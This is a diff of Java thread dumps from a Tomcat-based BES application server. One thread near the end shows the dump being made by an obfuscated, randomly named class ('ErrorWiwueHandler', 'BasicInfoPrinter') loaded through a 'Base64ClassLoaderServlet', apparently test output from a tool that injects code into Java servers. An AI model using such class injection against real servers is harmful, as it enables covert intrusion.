at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
|
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||||
at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467)
|
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073)
|
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:103)
|
||||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:31)
|
||||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
|
||||||
|
|
||||||
"RMI Scheduler(0)" #83 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@51d5d045
|
|
||||||
java.lang.Thread.State: TIMED_WAITING
|
|
||||||
at sun.misc.Unsafe.park(Native Method)
|
|
||||||
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
|
|
||||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
|
|
||||||
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093)
|
|
||||||
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||||
|
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
"RMI TCP Connection(1)-192.168.215.4" #82 daemon [RUNNABLE]
|
"RMI TCP Connection(2)-172.17.0.3" #79 daemon [RUNNABLE]
|
||||||
java.lang.Thread.State: RUNNABLE
|
java.lang.Thread.State: RUNNABLE
|
||||||
at java.net.SocketInputStream.socketRead0(Native Method)
|
at java.net.SocketInputStream.socketRead0(Native Method)
|
||||||
at java.net.SocketInputStream.socketRead(SocketInputStream.java:116)
|
at java.net.SocketInputStream.socketRead(SocketInputStream.java:116)
|
||||||
@@ -370,14 +236,229 @@ ThreadStacks:
|
|||||||
at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:555)
|
at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:555)
|
||||||
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:834)
|
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:834)
|
||||||
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:688)
|
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:688)
|
||||||
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$19/532524051.run(Unknown Source)
|
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$19/1987604558.run(Unknown Source)
|
||||||
at java.security.AccessController.doPrivileged(Native Method)
|
at java.security.AccessController.doPrivileged(Native Method)
|
||||||
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:687)
|
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:687)
|
||||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
|
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
|
||||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
"http-nio-0.0.0.0-8080-Acceptor-0" #71 daemon [RUNNABLE]
|
"http-nio-0.0.0.0-8080-ClientPoller-0" #64 daemon [RUNNABLE]
|
||||||
|
java.lang.Thread.State: RUNNABLE
|
||||||
|
at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
|
||||||
|
at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
|
||||||
|
at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
|
||||||
|
at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
|
||||||
|
at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
|
||||||
|
at org.apache.tomcat.util.net.NioEndpoint$Poller.run(NioEndpoint.java:801)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"admin-thread-pool-4" #52 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2ca2f284
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at sun.misc.Unsafe.park(Native Method)
|
||||||
|
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||||
|
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||||
|
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||||
|
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:103)
|
||||||
|
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:31)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||||
|
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"com.bes.appserv-startStop-1" #47 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@55ef9d0b
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at sun.misc.Unsafe.park(Native Method)
|
||||||
|
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
|
||||||
|
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
|
||||||
|
at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"Signal Dispatcher" #4 daemon [RUNNABLE]
|
||||||
|
java.lang.Thread.State: RUNNABLE
|
||||||
|
|
||||||
|
"RMI TCP Connection(1)-172.17.0.3" #76 daemon [RUNNABLE]
|
||||||
|
java.lang.Thread.State: RUNNABLE
|
||||||
|
at java.net.SocketInputStream.socketRead0(Native Method)
|
||||||
|
at java.net.SocketInputStream.socketRead(SocketInputStream.java:116)
|
||||||
|
at java.net.SocketInputStream.read(SocketInputStream.java:171)
|
||||||
|
at java.net.SocketInputStream.read(SocketInputStream.java:141)
|
||||||
|
at java.io.BufferedInputStream.fill(BufferedInputStream.java:246)
|
||||||
|
at java.io.BufferedInputStream.read(BufferedInputStream.java:265)
|
||||||
|
at java.io.FilterInputStream.read(FilterInputStream.java:83)
|
||||||
|
at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:555)
|
||||||
|
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:834)
|
||||||
|
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:688)
|
||||||
|
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$19/1987604558.run(Unknown Source)
|
||||||
|
at java.security.AccessController.doPrivileged(Native Method)
|
||||||
|
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:687)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"http-nio-0.0.0.0-6900-AsyncTimeout" #63 daemon [TIMED_WAITING]
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at java.lang.Thread.sleep(Native Method)
|
||||||
|
at org.apache.coyote.AbstractProtocol$AsyncTimeout.run(AbstractProtocol.java:1229)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"Timer-0" #13 daemon [TIMED_WAITING] on java.util.TaskQueue@69b469f9
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at java.lang.Object.wait(Native Method)
|
||||||
|
at java.util.TimerThread.mainLoop(Timer.java:552)
|
||||||
|
at java.util.TimerThread.run(Timer.java:505)
|
||||||
|
|
||||||
|
"http-thread-pool-5" #57 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@35c5ceb5
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at sun.misc.Unsafe.park(Native Method)
|
||||||
|
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||||
|
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||||
|
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||||
|
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:103)
|
||||||
|
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:31)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||||
|
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"AsyncLoggerDisruptor-1" #12 daemon [TIMED_WAITING] on java.lang.Object@4e406718
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at java.lang.Object.wait(Native Method)
|
||||||
|
at java.lang.Object.wait(Object.java:460)
|
||||||
|
at com.bes.enterprise.base.disruptor.util.Util.awaitNanos(Util.java:150)
|
||||||
|
at com.bes.enterprise.base.disruptor.TimeoutBlockingWaitStrategy.waitFor(TimeoutBlockingWaitStrategy.java:43)
|
||||||
|
at com.bes.enterprise.base.disruptor.ProcessingSequenceBarrier.waitFor(ProcessingSequenceBarrier.java:56)
|
||||||
|
at com.bes.enterprise.base.disruptor.BatchEventProcessor.processEvents(BatchEventProcessor.java:159)
|
||||||
|
at com.bes.enterprise.base.disruptor.BatchEventProcessor.run(BatchEventProcessor.java:125)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"http-thread-pool-4" #56 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@35c5ceb5
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at sun.misc.Unsafe.park(Native Method)
|
||||||
|
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||||
|
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||||
|
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||||
|
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:103)
|
||||||
|
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:31)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||||
|
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"ContainerBackgroundProcessor[WebEngine[com.bes.appserv]]" #48 daemon [TIMED_WAITING]
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at java.lang.Thread.sleep(Native Method)
|
||||||
|
at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1354)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"ContainerBackgroundProcessor[WebEngine[com.bes.appserv].VirtualHost[server].StandardContext[/app]]" #81 daemon [TIMED_WAITING]
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at java.lang.Thread.sleep(Native Method)
|
||||||
|
at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1354)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"Reference Handler" #2 daemon [WAITING] on java.lang.ref.Reference$Lock@75cd8a86
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at java.lang.Object.wait(Native Method)
|
||||||
|
at java.lang.Object.wait(Object.java:502)
|
||||||
|
at java.lang.ref.Reference.tryHandlePending(Reference.java:191)
|
||||||
|
at java.lang.ref.Reference$ReferenceHandler.run(Reference.java:153)
|
||||||
|
|
||||||
|
"admin-thread-pool-3" #51 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2ca2f284
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at sun.misc.Unsafe.park(Native Method)
|
||||||
|
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||||
|
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||||
|
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||||
|
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:103)
|
||||||
|
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:31)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||||
|
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"main" #1 [WAITING] on com.bes.enterprise.server.builder.BesWebModule@5c6356f1
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at java.lang.Object.wait(Native Method)
|
||||||
|
at java.lang.Object.wait(Object.java:502)
|
||||||
|
at com.bes.enterprise.server.builder.BesWebModule.await(BesWebModule.java:235)
|
||||||
|
at com.bes.enterprise.server.builder.BesWebModule.awaitForShutdown(BesWebModule.java:216)
|
||||||
|
at com.bes.enterprise.server.builder.BesWebModule.start(BesWebModule.java:207)
|
||||||
|
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
|
||||||
|
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
|
||||||
|
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
|
||||||
|
at java.lang.reflect.Method.invoke(Method.java:498)
|
||||||
|
at org.apache.catalina.startup.Bootstrap.start(Bootstrap.java:400)
|
||||||
|
at org.apache.catalina.startup.Bootstrap.main(Bootstrap.java:540)
|
||||||
|
at com.bes.enterprise.startup.ASMain.main(ASMain.java:27)
|
||||||
|
|
||||||
|
"ContainerBackgroundProcessor[WebEngine[com.bes.appserv].VirtualHost[__admin].StandardContext[/sysapp]]" #71 daemon [TIMED_WAITING]
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at java.lang.Thread.sleep(Native Method)
|
||||||
|
at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1354)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"admin-thread-pool-2" #50 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2ca2f284
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at sun.misc.Unsafe.park(Native Method)
|
||||||
|
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||||
|
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||||
|
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||||
|
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:103)
|
||||||
|
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:31)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||||
|
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"admin-thread-pool-1" #49 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2ca2f284
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at sun.misc.Unsafe.park(Native Method)
|
||||||
|
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||||
|
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||||
|
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||||
|
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:103)
|
||||||
|
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:31)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||||
|
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"RetryTimer" #45 daemon [WAITING] on java.util.TaskQueue@16520725
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at java.lang.Object.wait(Native Method)
|
||||||
|
at java.lang.Object.wait(Object.java:502)
|
||||||
|
at java.util.TimerThread.mainLoop(Timer.java:526)
|
||||||
|
at java.util.TimerThread.run(Timer.java:505)
|
||||||
|
|
||||||
|
"ContainerBackgroundProcessor[WebEngine[com.bes.appserv].VirtualHost[__admin].StandardContext[]]" #69 daemon [TIMED_WAITING]
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at java.lang.Thread.sleep(Native Method)
|
||||||
|
at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1354)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"bes-deployment-scheduled-executor-thread." #72 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5b67ca50
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at sun.misc.Unsafe.park(Native Method)
|
||||||
|
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
|
||||||
|
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
|
||||||
|
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093)
|
||||||
|
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"http-nio-0.0.0.0-8080-Acceptor-0" #65 daemon [RUNNABLE]
|
||||||
java.lang.Thread.State: RUNNABLE
|
java.lang.Thread.State: RUNNABLE
|
||||||
at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method)
|
at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method)
|
||||||
at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421)
|
at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421)
|
||||||
@@ -385,7 +466,7 @@ ThreadStacks:
|
|||||||
at org.apache.tomcat.util.net.NioEndpoint$Acceptor.run(NioEndpoint.java:469)
|
at org.apache.tomcat.util.net.NioEndpoint$Acceptor.run(NioEndpoint.java:469)
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
"http-thread-pool-4" #62 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@559be977
|
"http-thread-pool-2" #54 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@35c5ceb5
|
||||||
java.lang.Thread.State: WAITING
|
java.lang.Thread.State: WAITING
|
||||||
at sun.misc.Unsafe.park(Native Method)
|
at sun.misc.Unsafe.park(Native Method)
|
||||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||||
@@ -399,7 +480,33 @@ ThreadStacks:
|
|||||||
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
|
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
"admin-thread-pool-4" #58 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@408b3288
|
"Stateful cache" #46 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4267f200
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at sun.misc.Unsafe.park(Native Method)
|
||||||
|
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
|
||||||
|
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
|
||||||
|
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093)
|
||||||
|
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"http-nio-0.0.0.0-6900-Acceptor-0" #62 daemon [RUNNABLE]
|
||||||
|
java.lang.Thread.State: RUNNABLE
|
||||||
|
at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method)
|
||||||
|
at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421)
|
||||||
|
at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:249)
|
||||||
|
at org.apache.tomcat.util.net.NioEndpoint$Acceptor.run(NioEndpoint.java:469)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"http-nio-0.0.0.0-8080-AsyncTimeout" #66 daemon [TIMED_WAITING]
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at java.lang.Thread.sleep(Native Method)
|
||||||
|
at org.apache.coyote.AbstractProtocol$AsyncTimeout.run(AbstractProtocol.java:1229)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"http-thread-pool-8" #60 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@35c5ceb5
|
||||||
java.lang.Thread.State: WAITING
|
java.lang.Thread.State: WAITING
|
||||||
at sun.misc.Unsafe.park(Native Method)
|
at sun.misc.Unsafe.park(Native Method)
|
||||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||||
@@ -413,20 +520,26 @@ ThreadStacks:
|
|||||||
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
|
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
"http-thread-pool-8" #66 daemon [RUNNABLE]
|
"http-thread-pool-1" #53 daemon [RUNNABLE]
|
||||||
java.lang.Thread.State: RUNNABLE
|
java.lang.Thread.State: RUNNABLE
|
||||||
at java.lang.Thread.dumpThreads(Native Method)
|
at java.lang.Thread.dumpThreads(Native Method)
|
||||||
at java.lang.Thread.getAllStackTraces(Thread.java:1615)
|
at java.lang.Thread.getAllStackTraces(Thread.java:1615)
|
||||||
at org.apache.commons.lang.NFIaM.ErrorHandler.toString(BasicInfoPrinter.java:26)
|
at com.google.gso.JsjjN.ErrorWiwueHandler.toString(BasicInfoPrinter.java:26)
|
||||||
at java.lang.String.valueOf(String.java:2994)
|
at java.lang.String.valueOf(String.java:2994)
|
||||||
at org.apache.catalina.connector.CoyoteWriter.print(CoyoteWriter.java:244)
|
at org.apache.catalina.connector.CoyoteWriter.print(CoyoteWriter.java:244)
|
||||||
at Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:26)
|
at Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:26)
|
||||||
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:231)
|
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:231)
|
||||||
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
|
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
|
||||||
|
at ServletNameTestFilter.doFilter(ServletNameTestFilter.java:16)
|
||||||
|
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193)
|
||||||
|
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
|
||||||
at org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:52)
|
at org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:52)
|
||||||
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193)
|
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193)
|
||||||
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
|
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
|
||||||
at EmptyFilter.doFilter(EmptyFilter.java:21)
|
at EmptyFilter.doFilter(EmptyFilter.java:12)
|
||||||
|
